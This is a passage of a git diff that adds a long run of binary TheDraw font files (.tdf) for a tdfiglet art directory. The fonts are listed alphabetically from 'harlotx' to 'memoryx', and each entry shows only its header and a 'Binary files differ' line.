Binary files /dev/null and b/art/tdfiglet/fonts/harlotx.tdf differ
diff --git a/art/tdfiglet/fonts/harvest.tdf b/art/tdfiglet/fonts/harvest.tdf
new file mode 100644
index 0000000..ac02bac
Binary files /dev/null and b/art/tdfiglet/fonts/harvest.tdf differ
diff --git a/art/tdfiglet/fonts/harvestx.tdf b/art/tdfiglet/fonts/harvestx.tdf
new file mode 100644
index 0000000..fbe8915
Binary files /dev/null and b/art/tdfiglet/fonts/harvestx.tdf differ
diff --git a/art/tdfiglet/fonts/hawkx.tdf b/art/tdfiglet/fonts/hawkx.tdf
new file mode 100644
index 0000000..c85c7b5
Binary files /dev/null and b/art/tdfiglet/fonts/hawkx.tdf differ
diff --git a/art/tdfiglet/fonts/head.tdf b/art/tdfiglet/fonts/head.tdf
new file mode 100644
index 0000000..b02ae43
Binary files /dev/null and b/art/tdfiglet/fonts/head.tdf differ
diff --git a/art/tdfiglet/fonts/headx.tdf b/art/tdfiglet/fonts/headx.tdf
new file mode 100644
index 0000000..4324a0d
Binary files /dev/null and b/art/tdfiglet/fonts/headx.tdf differ
diff --git a/art/tdfiglet/fonts/helitech.tdf b/art/tdfiglet/fonts/helitech.tdf
new file mode 100644
index 0000000..9767a6f
Binary files /dev/null and b/art/tdfiglet/fonts/helitech.tdf differ
diff --git a/art/tdfiglet/fonts/helitecx.tdf b/art/tdfiglet/fonts/helitecx.tdf
new file mode 100644
index 0000000..85c8f32
Binary files /dev/null and b/art/tdfiglet/fonts/helitecx.tdf differ
diff --git a/art/tdfiglet/fonts/helium.tdf b/art/tdfiglet/fonts/helium.tdf
new file mode 100644
index 0000000..4e644f4
Binary files /dev/null and b/art/tdfiglet/fonts/helium.tdf differ
diff --git a/art/tdfiglet/fonts/hellhole.tdf b/art/tdfiglet/fonts/hellhole.tdf
new file mode 100644
index 0000000..11fd79e
Binary files /dev/null and b/art/tdfiglet/fonts/hellhole.tdf differ
diff --git a/art/tdfiglet/fonts/hellpay.tdf b/art/tdfiglet/fonts/hellpay.tdf
new file mode 100644
index 0000000..0c02600
Binary files /dev/null and b/art/tdfiglet/fonts/hellpay.tdf differ
diff --git a/art/tdfiglet/fonts/heltsklx.tdf b/art/tdfiglet/fonts/heltsklx.tdf
new file mode 100644
index 0000000..f8789bc
Binary files /dev/null and b/art/tdfiglet/fonts/heltsklx.tdf differ
diff --git a/art/tdfiglet/fonts/hemi.tdf b/art/tdfiglet/fonts/hemi.tdf
new file mode 100644
index 0000000..e455679
Binary files /dev/null and b/art/tdfiglet/fonts/hemi.tdf differ
diff --git a/art/tdfiglet/fonts/hemisphx.tdf b/art/tdfiglet/fonts/hemisphx.tdf
new file mode 100644
index 0000000..390b6d7
Binary files /dev/null and b/art/tdfiglet/fonts/hemisphx.tdf differ
diff --git a/art/tdfiglet/fonts/hgsierax.tdf b/art/tdfiglet/fonts/hgsierax.tdf
new file mode 100644
index 0000000..84c62af
Binary files /dev/null and b/art/tdfiglet/fonts/hgsierax.tdf differ
diff --git a/art/tdfiglet/fonts/hidden.tdf b/art/tdfiglet/fonts/hidden.tdf
new file mode 100644
index 0000000..de547ea
Binary files /dev/null and b/art/tdfiglet/fonts/hidden.tdf differ
diff --git a/art/tdfiglet/fonts/hoard.tdf b/art/tdfiglet/fonts/hoard.tdf
new file mode 100644
index 0000000..b4cd843
Binary files /dev/null and b/art/tdfiglet/fonts/hoard.tdf differ
diff --git a/art/tdfiglet/fonts/hopeless.tdf b/art/tdfiglet/fonts/hopeless.tdf
new file mode 100644
index 0000000..89e1897
Binary files /dev/null and b/art/tdfiglet/fonts/hopeless.tdf differ
diff --git a/art/tdfiglet/fonts/horr-tdf.tdf b/art/tdfiglet/fonts/horr-tdf.tdf
new file mode 100644
index 0000000..00bfb66
Binary files /dev/null and b/art/tdfiglet/fonts/horr-tdf.tdf differ
diff --git a/art/tdfiglet/fonts/hostess.tdf b/art/tdfiglet/fonts/hostess.tdf
new file mode 100644
index 0000000..7bf3c06
Binary files /dev/null and b/art/tdfiglet/fonts/hostess.tdf differ
diff --git a/art/tdfiglet/fonts/hotbox.tdf b/art/tdfiglet/fonts/hotbox.tdf
new file mode 100644
index 0000000..0c786f1
Binary files /dev/null and b/art/tdfiglet/fonts/hotbox.tdf differ
diff --git a/art/tdfiglet/fonts/houn-tdf.tdf b/art/tdfiglet/fonts/houn-tdf.tdf
new file mode 100644
index 0000000..17d73d1
Binary files /dev/null and b/art/tdfiglet/fonts/houn-tdf.tdf differ
diff --git a/art/tdfiglet/fonts/housex.tdf b/art/tdfiglet/fonts/housex.tdf
new file mode 100644
index 0000000..c4301ef
Binary files /dev/null and b/art/tdfiglet/fonts/housex.tdf differ
diff --git a/art/tdfiglet/fonts/houstekx.tdf b/art/tdfiglet/fonts/houstekx.tdf
new file mode 100644
index 0000000..0e4a30f
Binary files /dev/null and b/art/tdfiglet/fonts/houstekx.tdf differ
diff --git a/art/tdfiglet/fonts/hrdwirex.tdf b/art/tdfiglet/fonts/hrdwirex.tdf
new file mode 100644
index 0000000..2fb7aca
Binary files /dev/null and b/art/tdfiglet/fonts/hrdwirex.tdf differ
diff --git a/art/tdfiglet/fonts/hs-effek.tdf b/art/tdfiglet/fonts/hs-effek.tdf
new file mode 100644
index 0000000..80792f7
Binary files /dev/null and b/art/tdfiglet/fonts/hs-effek.tdf differ
diff --git a/art/tdfiglet/fonts/hunterx.tdf b/art/tdfiglet/fonts/hunterx.tdf
new file mode 100644
index 0000000..30217ac
Binary files /dev/null and b/art/tdfiglet/fonts/hunterx.tdf differ
diff --git a/art/tdfiglet/fonts/hw.tdf b/art/tdfiglet/fonts/hw.tdf
new file mode 100644
index 0000000..a5e3700
Binary files /dev/null and b/art/tdfiglet/fonts/hw.tdf differ
diff --git a/art/tdfiglet/fonts/hwplated.tdf b/art/tdfiglet/fonts/hwplated.tdf
new file mode 100644
index 0000000..4648f27
Binary files /dev/null and b/art/tdfiglet/fonts/hwplated.tdf differ
diff --git a/art/tdfiglet/fonts/hwx.tdf b/art/tdfiglet/fonts/hwx.tdf
new file mode 100644
index 0000000..4f5b3dd
Binary files /dev/null and b/art/tdfiglet/fonts/hwx.tdf differ
diff --git a/art/tdfiglet/fonts/hydrogen.tdf b/art/tdfiglet/fonts/hydrogen.tdf
new file mode 100644
index 0000000..24ef4fd
Binary files /dev/null and b/art/tdfiglet/fonts/hydrogen.tdf differ
diff --git a/art/tdfiglet/fonts/hyperx.tdf b/art/tdfiglet/fonts/hyperx.tdf
new file mode 100644
index 0000000..d04e760
Binary files /dev/null and b/art/tdfiglet/fonts/hyperx.tdf differ
diff --git a/art/tdfiglet/fonts/hypnosis.tdf b/art/tdfiglet/fonts/hypnosis.tdf
new file mode 100644
index 0000000..d632f78
Binary files /dev/null and b/art/tdfiglet/fonts/hypnosis.tdf differ
diff --git a/art/tdfiglet/fonts/hysteria.tdf b/art/tdfiglet/fonts/hysteria.tdf
new file mode 100644
index 0000000..b96eb70
Binary files /dev/null and b/art/tdfiglet/fonts/hysteria.tdf differ
diff --git a/art/tdfiglet/fonts/iceblock.tdf b/art/tdfiglet/fonts/iceblock.tdf
new file mode 100644
index 0000000..c53674f
Binary files /dev/null and b/art/tdfiglet/fonts/iceblock.tdf differ
diff --git a/art/tdfiglet/fonts/icefire.tdf b/art/tdfiglet/fonts/icefire.tdf
new file mode 100644
index 0000000..56e0ced
Binary files /dev/null and b/art/tdfiglet/fonts/icefire.tdf differ
diff --git a/art/tdfiglet/fonts/icex.tdf b/art/tdfiglet/fonts/icex.tdf
new file mode 100644
index 0000000..5ea8d0f
Binary files /dev/null and b/art/tdfiglet/fonts/icex.tdf differ
diff --git a/art/tdfiglet/fonts/icezonex.tdf b/art/tdfiglet/fonts/icezonex.tdf
new file mode 100644
index 0000000..037febd
Binary files /dev/null and b/art/tdfiglet/fonts/icezonex.tdf differ
diff --git a/art/tdfiglet/fonts/idesx.tdf b/art/tdfiglet/fonts/idesx.tdf
new file mode 100644
index 0000000..0606b03
Binary files /dev/null and b/art/tdfiglet/fonts/idesx.tdf differ
diff --git a/art/tdfiglet/fonts/ilcommx.tdf b/art/tdfiglet/fonts/ilcommx.tdf
new file mode 100644
index 0000000..e9783fd
Binary files /dev/null and b/art/tdfiglet/fonts/ilcommx.tdf differ
diff --git a/art/tdfiglet/fonts/illcomm.tdf b/art/tdfiglet/fonts/illcomm.tdf
new file mode 100644
index 0000000..720694a
Binary files /dev/null and b/art/tdfiglet/fonts/illcomm.tdf differ
diff --git a/art/tdfiglet/fonts/illuchro.tdf b/art/tdfiglet/fonts/illuchro.tdf
new file mode 100644
index 0000000..3e9b76f
Binary files /dev/null and b/art/tdfiglet/fonts/illuchro.tdf differ
diff --git a/art/tdfiglet/fonts/illusin2.tdf b/art/tdfiglet/fonts/illusin2.tdf
new file mode 100644
index 0000000..c860b29
Binary files /dev/null and b/art/tdfiglet/fonts/illusin2.tdf differ
diff --git a/art/tdfiglet/fonts/illusion.tdf b/art/tdfiglet/fonts/illusion.tdf
new file mode 100644
index 0000000..777deb5
Binary files /dev/null and b/art/tdfiglet/fonts/illusion.tdf differ
diff --git a/art/tdfiglet/fonts/ilusion3.tdf b/art/tdfiglet/fonts/ilusion3.tdf
new file mode 100644
index 0000000..7555c45
Binary files /dev/null and b/art/tdfiglet/fonts/ilusion3.tdf differ
diff --git a/art/tdfiglet/fonts/images.tdf b/art/tdfiglet/fonts/images.tdf
new file mode 100644
index 0000000..906a7b9
Binary files /dev/null and b/art/tdfiglet/fonts/images.tdf differ
diff --git a/art/tdfiglet/fonts/imagesx.tdf b/art/tdfiglet/fonts/imagesx.tdf
new file mode 100644
index 0000000..d27e6a2
Binary files /dev/null and b/art/tdfiglet/fonts/imagesx.tdf differ
diff --git a/art/tdfiglet/fonts/imgmnset.tdf b/art/tdfiglet/fonts/imgmnset.tdf
new file mode 100644
index 0000000..b8b3362
Binary files /dev/null and b/art/tdfiglet/fonts/imgmnset.tdf differ
diff --git a/art/tdfiglet/fonts/impact2x.tdf b/art/tdfiglet/fonts/impact2x.tdf
new file mode 100644
index 0000000..546282d
Binary files /dev/null and b/art/tdfiglet/fonts/impact2x.tdf differ
diff --git a/art/tdfiglet/fonts/impactx.tdf b/art/tdfiglet/fonts/impactx.tdf
new file mode 100644
index 0000000..91bea18
Binary files /dev/null and b/art/tdfiglet/fonts/impactx.tdf differ
diff --git a/art/tdfiglet/fonts/inch.tdf b/art/tdfiglet/fonts/inch.tdf
new file mode 100644
index 0000000..3023810
Binary files /dev/null and b/art/tdfiglet/fonts/inch.tdf differ
diff --git a/art/tdfiglet/fonts/incircle.tdf b/art/tdfiglet/fonts/incircle.tdf
new file mode 100644
index 0000000..49ee69c
Binary files /dev/null and b/art/tdfiglet/fonts/incircle.tdf differ
diff --git a/art/tdfiglet/fonts/incirclx.tdf b/art/tdfiglet/fonts/incirclx.tdf
new file mode 100644
index 0000000..f7e26fa
Binary files /dev/null and b/art/tdfiglet/fonts/incirclx.tdf differ
diff --git a/art/tdfiglet/fonts/incorped.tdf b/art/tdfiglet/fonts/incorped.tdf
new file mode 100644
index 0000000..9135027
Binary files /dev/null and b/art/tdfiglet/fonts/incorped.tdf differ
diff --git a/art/tdfiglet/fonts/incorpex.tdf b/art/tdfiglet/fonts/incorpex.tdf
new file mode 100644
index 0000000..bb86eec
Binary files /dev/null and b/art/tdfiglet/fonts/incorpex.tdf differ
diff --git a/art/tdfiglet/fonts/indesgrn.tdf b/art/tdfiglet/fonts/indesgrn.tdf
new file mode 100644
index 0000000..d8e8ef4
Binary files /dev/null and b/art/tdfiglet/fonts/indesgrn.tdf differ
diff --git a/art/tdfiglet/fonts/inertia.tdf b/art/tdfiglet/fonts/inertia.tdf
new file mode 100644
index 0000000..94291a9
Binary files /dev/null and b/art/tdfiglet/fonts/inertia.tdf differ
diff --git a/art/tdfiglet/fonts/inertiax.tdf b/art/tdfiglet/fonts/inertiax.tdf
new file mode 100644
index 0000000..cfec468
Binary files /dev/null and b/art/tdfiglet/fonts/inertiax.tdf differ
diff --git a/art/tdfiglet/fonts/inet.tdf b/art/tdfiglet/fonts/inet.tdf
new file mode 100644
index 0000000..a046656
Binary files /dev/null and b/art/tdfiglet/fonts/inet.tdf differ
diff --git a/art/tdfiglet/fonts/inetx.tdf b/art/tdfiglet/fonts/inetx.tdf
new file mode 100644
index 0000000..5585ea7
Binary files /dev/null and b/art/tdfiglet/fonts/inetx.tdf differ
diff --git a/art/tdfiglet/fonts/infinite.tdf b/art/tdfiglet/fonts/infinite.tdf
new file mode 100644
index 0000000..e4814be
Binary files /dev/null and b/art/tdfiglet/fonts/infinite.tdf differ
diff --git a/art/tdfiglet/fonts/infinsrt.tdf b/art/tdfiglet/fonts/infinsrt.tdf
new file mode 100644
index 0000000..dba1bda
Binary files /dev/null and b/art/tdfiglet/fonts/infinsrt.tdf differ
diff --git a/art/tdfiglet/fonts/infinsrx.tdf b/art/tdfiglet/fonts/infinsrx.tdf
new file mode 100644
index 0000000..7c48271
Binary files /dev/null and b/art/tdfiglet/fonts/infinsrx.tdf differ
diff --git a/art/tdfiglet/fonts/infozine.tdf b/art/tdfiglet/fonts/infozine.tdf
new file mode 100644
index 0000000..c84ad5a
Binary files /dev/null and b/art/tdfiglet/fonts/infozine.tdf differ
diff --git a/art/tdfiglet/fonts/infozinx.tdf b/art/tdfiglet/fonts/infozinx.tdf
new file mode 100644
index 0000000..b09cd03
Binary files /dev/null and b/art/tdfiglet/fonts/infozinx.tdf differ
diff --git a/art/tdfiglet/fonts/inner.tdf b/art/tdfiglet/fonts/inner.tdf
new file mode 100644
index 0000000..a249c2f
Binary files /dev/null and b/art/tdfiglet/fonts/inner.tdf differ
diff --git a/art/tdfiglet/fonts/inocencx.tdf b/art/tdfiglet/fonts/inocencx.tdf
new file mode 100644
index 0000000..f522550
Binary files /dev/null and b/art/tdfiglet/fonts/inocencx.tdf differ
diff --git a/art/tdfiglet/fonts/insanex.tdf b/art/tdfiglet/fonts/insanex.tdf
new file mode 100644
index 0000000..5b965ef
Binary files /dev/null and b/art/tdfiglet/fonts/insanex.tdf differ
diff --git a/art/tdfiglet/fonts/insanity.tdf b/art/tdfiglet/fonts/insanity.tdf
new file mode 100644
index 0000000..388f289
Binary files /dev/null and b/art/tdfiglet/fonts/insanity.tdf differ
diff --git a/art/tdfiglet/fonts/insinsan.tdf b/art/tdfiglet/fonts/insinsan.tdf
new file mode 100644
index 0000000..dbd43ff
Binary files /dev/null and b/art/tdfiglet/fonts/insinsan.tdf differ
diff --git a/art/tdfiglet/fonts/insinsax.tdf b/art/tdfiglet/fonts/insinsax.tdf
new file mode 100644
index 0000000..a397a23
Binary files /dev/null and b/art/tdfiglet/fonts/insinsax.tdf differ
diff --git a/art/tdfiglet/fonts/insomiax.tdf b/art/tdfiglet/fonts/insomiax.tdf
new file mode 100644
index 0000000..04aa389
Binary files /dev/null and b/art/tdfiglet/fonts/insomiax.tdf differ
diff --git a/art/tdfiglet/fonts/inspectx.tdf b/art/tdfiglet/fonts/inspectx.tdf
new file mode 100644
index 0000000..3f5878d
Binary files /dev/null and b/art/tdfiglet/fonts/inspectx.tdf differ
diff --git a/art/tdfiglet/fonts/intense.tdf b/art/tdfiglet/fonts/intense.tdf
new file mode 100644
index 0000000..3b8ed65
Binary files /dev/null and b/art/tdfiglet/fonts/intense.tdf differ
diff --git a/art/tdfiglet/fonts/intensex.tdf b/art/tdfiglet/fonts/intensex.tdf
new file mode 100644
index 0000000..9e2c598
Binary files /dev/null and b/art/tdfiglet/fonts/intensex.tdf differ
diff --git a/art/tdfiglet/fonts/intentsx.tdf b/art/tdfiglet/fonts/intentsx.tdf
new file mode 100644
index 0000000..ffdad04
Binary files /dev/null and b/art/tdfiglet/fonts/intentsx.tdf differ
diff --git a/art/tdfiglet/fonts/internat.tdf b/art/tdfiglet/fonts/internat.tdf
new file mode 100644
index 0000000..e19ed54
Binary files /dev/null and b/art/tdfiglet/fonts/internat.tdf differ
diff --git a/art/tdfiglet/fonts/intoxicx.tdf b/art/tdfiglet/fonts/intoxicx.tdf
new file mode 100644
index 0000000..bfc5465
Binary files /dev/null and b/art/tdfiglet/fonts/intoxicx.tdf differ
diff --git a/art/tdfiglet/fonts/invasins.tdf b/art/tdfiglet/fonts/invasins.tdf
new file mode 100644
index 0000000..75483ef
Binary files /dev/null and b/art/tdfiglet/fonts/invasins.tdf differ
diff --git a/art/tdfiglet/fonts/invasion.tdf b/art/tdfiglet/fonts/invasion.tdf
new file mode 100644
index 0000000..f544010
Binary files /dev/null and b/art/tdfiglet/fonts/invasion.tdf differ
diff --git a/art/tdfiglet/fonts/invasisx.tdf b/art/tdfiglet/fonts/invasisx.tdf
new file mode 100644
index 0000000..770d1d2
Binary files /dev/null and b/art/tdfiglet/fonts/invasisx.tdf differ
diff --git a/art/tdfiglet/fonts/iridium.tdf b/art/tdfiglet/fonts/iridium.tdf
new file mode 100644
index 0000000..d5954b1
Binary files /dev/null and b/art/tdfiglet/fonts/iridium.tdf differ
diff --git a/art/tdfiglet/fonts/itsover.tdf b/art/tdfiglet/fonts/itsover.tdf
new file mode 100644
index 0000000..7d3f9cf
Binary files /dev/null and b/art/tdfiglet/fonts/itsover.tdf differ
diff --git a/art/tdfiglet/fonts/jelly.tdf b/art/tdfiglet/fonts/jelly.tdf
new file mode 100644
index 0000000..23097e5
Binary files /dev/null and b/art/tdfiglet/fonts/jelly.tdf differ
diff --git a/art/tdfiglet/fonts/juice.tdf b/art/tdfiglet/fonts/juice.tdf
new file mode 100644
index 0000000..b7fe826
Binary files /dev/null and b/art/tdfiglet/fonts/juice.tdf differ
diff --git a/art/tdfiglet/fonts/juicex.tdf b/art/tdfiglet/fonts/juicex.tdf
new file mode 100644
index 0000000..f9a9e87
Binary files /dev/null and b/art/tdfiglet/fonts/juicex.tdf differ
diff --git a/art/tdfiglet/fonts/juvenocr.tdf b/art/tdfiglet/fonts/juvenocr.tdf
new file mode 100644
index 0000000..e080e7c
Binary files /dev/null and b/art/tdfiglet/fonts/juvenocr.tdf differ
diff --git a/art/tdfiglet/fonts/kansas.tdf b/art/tdfiglet/fonts/kansas.tdf
new file mode 100644
index 0000000..72fe281
Binary files /dev/null and b/art/tdfiglet/fonts/kansas.tdf differ
diff --git a/art/tdfiglet/fonts/kevin1.tdf b/art/tdfiglet/fonts/kevin1.tdf
new file mode 100644
index 0000000..c5781bc
Binary files /dev/null and b/art/tdfiglet/fonts/kevin1.tdf differ
diff --git a/art/tdfiglet/fonts/kevin2.tdf b/art/tdfiglet/fonts/kevin2.tdf
new file mode 100644
index 0000000..29f7412
Binary files /dev/null and b/art/tdfiglet/fonts/kevin2.tdf differ
diff --git a/art/tdfiglet/fonts/kevin4.tdf b/art/tdfiglet/fonts/kevin4.tdf
new file mode 100644
index 0000000..d8a6d47
Binary files /dev/null and b/art/tdfiglet/fonts/kevin4.tdf differ
diff --git a/art/tdfiglet/fonts/kevin42.tdf b/art/tdfiglet/fonts/kevin42.tdf
new file mode 100644
index 0000000..74775b8
Binary files /dev/null and b/art/tdfiglet/fonts/kevin42.tdf differ
diff --git a/art/tdfiglet/fonts/kevin5.tdf b/art/tdfiglet/fonts/kevin5.tdf
new file mode 100644
index 0000000..7442f31
Binary files /dev/null and b/art/tdfiglet/fonts/kevin5.tdf differ
diff --git a/art/tdfiglet/fonts/kevin52.tdf b/art/tdfiglet/fonts/kevin52.tdf
new file mode 100644
index 0000000..c0dad5e
Binary files /dev/null and b/art/tdfiglet/fonts/kevin52.tdf differ
diff --git a/art/tdfiglet/fonts/keys.tdf b/art/tdfiglet/fonts/keys.tdf
new file mode 100644
index 0000000..528f59f
Binary files /dev/null and b/art/tdfiglet/fonts/keys.tdf differ
diff --git a/art/tdfiglet/fonts/kfcx.tdf b/art/tdfiglet/fonts/kfcx.tdf
new file mode 100644
index 0000000..dd803fa
Binary files /dev/null and b/art/tdfiglet/fonts/kfcx.tdf differ
diff --git a/art/tdfiglet/fonts/kissmy.tdf b/art/tdfiglet/fonts/kissmy.tdf
new file mode 100644
index 0000000..16e32ae
Binary files /dev/null and b/art/tdfiglet/fonts/kissmy.tdf differ
diff --git a/art/tdfiglet/fonts/kissmyx.tdf b/art/tdfiglet/fonts/kissmyx.tdf
new file mode 100644
index 0000000..7705eb1
Binary files /dev/null and b/art/tdfiglet/fonts/kissmyx.tdf differ
diff --git a/art/tdfiglet/fonts/knightsx.tdf b/art/tdfiglet/fonts/knightsx.tdf
new file mode 100644
index 0000000..30a3079
Binary files /dev/null and b/art/tdfiglet/fonts/knightsx.tdf differ
diff --git a/art/tdfiglet/fonts/koders.tdf b/art/tdfiglet/fonts/koders.tdf
new file mode 100644
index 0000000..72fff83
Binary files /dev/null and b/art/tdfiglet/fonts/koders.tdf differ
diff --git a/art/tdfiglet/fonts/krystal.tdf b/art/tdfiglet/fonts/krystal.tdf
new file mode 100644
index 0000000..fb85172
Binary files /dev/null and b/art/tdfiglet/fonts/krystal.tdf differ
diff --git a/art/tdfiglet/fonts/krystalx.tdf b/art/tdfiglet/fonts/krystalx.tdf
new file mode 100644
index 0000000..3ab0e35
Binary files /dev/null and b/art/tdfiglet/fonts/krystalx.tdf differ
diff --git a/art/tdfiglet/fonts/larry3d.tdf b/art/tdfiglet/fonts/larry3d.tdf
new file mode 100644
index 0000000..e3528a0
Binary files /dev/null and b/art/tdfiglet/fonts/larry3d.tdf differ
diff --git a/art/tdfiglet/fonts/lastbbs.tdf b/art/tdfiglet/fonts/lastbbs.tdf
new file mode 100644
index 0000000..f5487c3
Binary files /dev/null and b/art/tdfiglet/fonts/lastbbs.tdf differ
diff --git a/art/tdfiglet/fonts/lastdime.tdf b/art/tdfiglet/fonts/lastdime.tdf
new file mode 100644
index 0000000..a3f13a2
Binary files /dev/null and b/art/tdfiglet/fonts/lastdime.tdf differ
diff --git a/art/tdfiglet/fonts/laughtex.tdf b/art/tdfiglet/fonts/laughtex.tdf
new file mode 100644
index 0000000..3942408
Binary files /dev/null and b/art/tdfiglet/fonts/laughtex.tdf differ
diff --git a/art/tdfiglet/fonts/league.tdf b/art/tdfiglet/fonts/league.tdf
new file mode 100644
index 0000000..f0cbc5b
Binary files /dev/null and b/art/tdfiglet/fonts/league.tdf differ
diff --git a/art/tdfiglet/fonts/leech.tdf b/art/tdfiglet/fonts/leech.tdf
new file mode 100644
index 0000000..92407a4
Binary files /dev/null and b/art/tdfiglet/fonts/leech.tdf differ
diff --git a/art/tdfiglet/fonts/leeching.tdf b/art/tdfiglet/fonts/leeching.tdf
new file mode 100644
index 0000000..91e1403
Binary files /dev/null and b/art/tdfiglet/fonts/leeching.tdf differ
diff --git a/art/tdfiglet/fonts/legacy.tdf b/art/tdfiglet/fonts/legacy.tdf
new file mode 100644
index 0000000..6593699
Binary files /dev/null and b/art/tdfiglet/fonts/legacy.tdf differ
diff --git a/art/tdfiglet/fonts/legacy2x.tdf b/art/tdfiglet/fonts/legacy2x.tdf
new file mode 100644
index 0000000..307e4ec
Binary files /dev/null and b/art/tdfiglet/fonts/legacy2x.tdf differ
diff --git a/art/tdfiglet/fonts/legcy3dx.tdf b/art/tdfiglet/fonts/legcy3dx.tdf
new file mode 100644
index 0000000..960b7fe
Binary files /dev/null and b/art/tdfiglet/fonts/legcy3dx.tdf differ
diff --git a/art/tdfiglet/fonts/leisure.tdf b/art/tdfiglet/fonts/leisure.tdf
new file mode 100644
index 0000000..db11eaa
Binary files /dev/null and b/art/tdfiglet/fonts/leisure.tdf differ
diff --git a/art/tdfiglet/fonts/leisurex.tdf b/art/tdfiglet/fonts/leisurex.tdf
new file mode 100644
index 0000000..4acf0b5
Binary files /dev/null and b/art/tdfiglet/fonts/leisurex.tdf differ
diff --git a/art/tdfiglet/fonts/lgy3dbl.tdf b/art/tdfiglet/fonts/lgy3dbl.tdf
new file mode 100644
index 0000000..bffdc38
Binary files /dev/null and b/art/tdfiglet/fonts/lgy3dbl.tdf differ
diff --git a/art/tdfiglet/fonts/liar.tdf b/art/tdfiglet/fonts/liar.tdf
new file mode 100644
index 0000000..0c886d4
Binary files /dev/null and b/art/tdfiglet/fonts/liar.tdf differ
diff --git a/art/tdfiglet/fonts/limpyset.tdf b/art/tdfiglet/fonts/limpyset.tdf
new file mode 100644
index 0000000..350205d
Binary files /dev/null and b/art/tdfiglet/fonts/limpyset.tdf differ
diff --git a/art/tdfiglet/fonts/liquid.tdf b/art/tdfiglet/fonts/liquid.tdf
new file mode 100644
index 0000000..073962e
Binary files /dev/null and b/art/tdfiglet/fonts/liquid.tdf differ
diff --git a/art/tdfiglet/fonts/liquid2.tdf b/art/tdfiglet/fonts/liquid2.tdf
new file mode 100644
index 0000000..38f3c69
Binary files /dev/null and b/art/tdfiglet/fonts/liquid2.tdf differ
diff --git a/art/tdfiglet/fonts/live.tdf b/art/tdfiglet/fonts/live.tdf
new file mode 100644
index 0000000..edf7ac3
Binary files /dev/null and b/art/tdfiglet/fonts/live.tdf differ
diff --git a/art/tdfiglet/fonts/lstsouls.tdf b/art/tdfiglet/fonts/lstsouls.tdf
new file mode 100644
index 0000000..8b8acda
Binary files /dev/null and b/art/tdfiglet/fonts/lstsouls.tdf differ
diff --git a/art/tdfiglet/fonts/lucidsrt.tdf b/art/tdfiglet/fonts/lucidsrt.tdf
new file mode 100644
index 0000000..df3621a
Binary files /dev/null and b/art/tdfiglet/fonts/lucidsrt.tdf differ
diff --git a/art/tdfiglet/fonts/lucretix.tdf b/art/tdfiglet/fonts/lucretix.tdf
new file mode 100644
index 0000000..e9a7e8e
Binary files /dev/null and b/art/tdfiglet/fonts/lucretix.tdf differ
diff --git a/art/tdfiglet/fonts/madman.tdf b/art/tdfiglet/fonts/madman.tdf
new file mode 100644
index 0000000..527170d
Binary files /dev/null and b/art/tdfiglet/fonts/madman.tdf differ
diff --git a/art/tdfiglet/fonts/madman2.tdf b/art/tdfiglet/fonts/madman2.tdf
new file mode 100644
index 0000000..1cfd3c4
Binary files /dev/null and b/art/tdfiglet/fonts/madman2.tdf differ
diff --git a/art/tdfiglet/fonts/magazine.tdf b/art/tdfiglet/fonts/magazine.tdf
new file mode 100644
index 0000000..993b4a8
Binary files /dev/null and b/art/tdfiglet/fonts/magazine.tdf differ
diff --git a/art/tdfiglet/fonts/magicast.tdf b/art/tdfiglet/fonts/magicast.tdf
new file mode 100644
index 0000000..be91c35
Binary files /dev/null and b/art/tdfiglet/fonts/magicast.tdf differ
diff --git a/art/tdfiglet/fonts/magnumx.tdf b/art/tdfiglet/fonts/magnumx.tdf
new file mode 100644
index 0000000..34b1a48
Binary files /dev/null and b/art/tdfiglet/fonts/magnumx.tdf differ
diff --git a/art/tdfiglet/fonts/majicx.tdf b/art/tdfiglet/fonts/majicx.tdf
new file mode 100644
index 0000000..c7a0f10
Binary files /dev/null and b/art/tdfiglet/fonts/majicx.tdf differ
diff --git a/art/tdfiglet/fonts/malice.tdf b/art/tdfiglet/fonts/malice.tdf
new file mode 100644
index 0000000..1917492
Binary files /dev/null and b/art/tdfiglet/fonts/malice.tdf differ
diff --git a/art/tdfiglet/fonts/mappersx.tdf b/art/tdfiglet/fonts/mappersx.tdf
new file mode 100644
index 0000000..54e16c5
Binary files /dev/null and b/art/tdfiglet/fonts/mappersx.tdf differ
diff --git a/art/tdfiglet/fonts/masacrex.tdf b/art/tdfiglet/fonts/masacrex.tdf
new file mode 100644
index 0000000..98727fe
Binary files /dev/null and b/art/tdfiglet/fonts/masacrex.tdf differ
diff --git a/art/tdfiglet/fonts/master.tdf b/art/tdfiglet/fonts/master.tdf
new file mode 100644
index 0000000..eaeee41
Binary files /dev/null and b/art/tdfiglet/fonts/master.tdf differ
diff --git a/art/tdfiglet/fonts/matrix.tdf b/art/tdfiglet/fonts/matrix.tdf
new file mode 100644
index 0000000..fdeeac5
Binary files /dev/null and b/art/tdfiglet/fonts/matrix.tdf differ
diff --git a/art/tdfiglet/fonts/matrixx.tdf b/art/tdfiglet/fonts/matrixx.tdf
new file mode 100644
index 0000000..5e2e2ad
Binary files /dev/null and b/art/tdfiglet/fonts/matrixx.tdf differ
diff --git a/art/tdfiglet/fonts/maxfont2.tdf b/art/tdfiglet/fonts/maxfont2.tdf
new file mode 100644
index 0000000..317a5f8
Binary files /dev/null and b/art/tdfiglet/fonts/maxfont2.tdf differ
diff --git a/art/tdfiglet/fonts/maximum.tdf b/art/tdfiglet/fonts/maximum.tdf
new file mode 100644
index 0000000..bea8996
Binary files /dev/null and b/art/tdfiglet/fonts/maximum.tdf differ
diff --git a/art/tdfiglet/fonts/maximumx.tdf b/art/tdfiglet/fonts/maximumx.tdf
new file mode 100644
index 0000000..1f9028a
Binary files /dev/null and b/art/tdfiglet/fonts/maximumx.tdf differ
diff --git a/art/tdfiglet/fonts/mechanic.tdf b/art/tdfiglet/fonts/mechanic.tdf
new file mode 100644
index 0000000..adf5fa8
Binary files /dev/null and b/art/tdfiglet/fonts/mechanic.tdf differ
diff --git a/art/tdfiglet/fonts/mechresi.tdf b/art/tdfiglet/fonts/mechresi.tdf
new file mode 100644
index 0000000..734b6f2
Binary files /dev/null and b/art/tdfiglet/fonts/mechresi.tdf differ
diff --git a/art/tdfiglet/fonts/mechrest.tdf b/art/tdfiglet/fonts/mechrest.tdf
new file mode 100644
index 0000000..97ad698
Binary files /dev/null and b/art/tdfiglet/fonts/mechrest.tdf differ
diff --git a/art/tdfiglet/fonts/members.tdf b/art/tdfiglet/fonts/members.tdf
new file mode 100644
index 0000000..5857b3b
Binary files /dev/null and b/art/tdfiglet/fonts/members.tdf differ
diff --git a/art/tdfiglet/fonts/memoryx.tdf b/art/tdfiglet/fonts/memoryx.tdf
new file mode 100644
index 0000000..0aef583
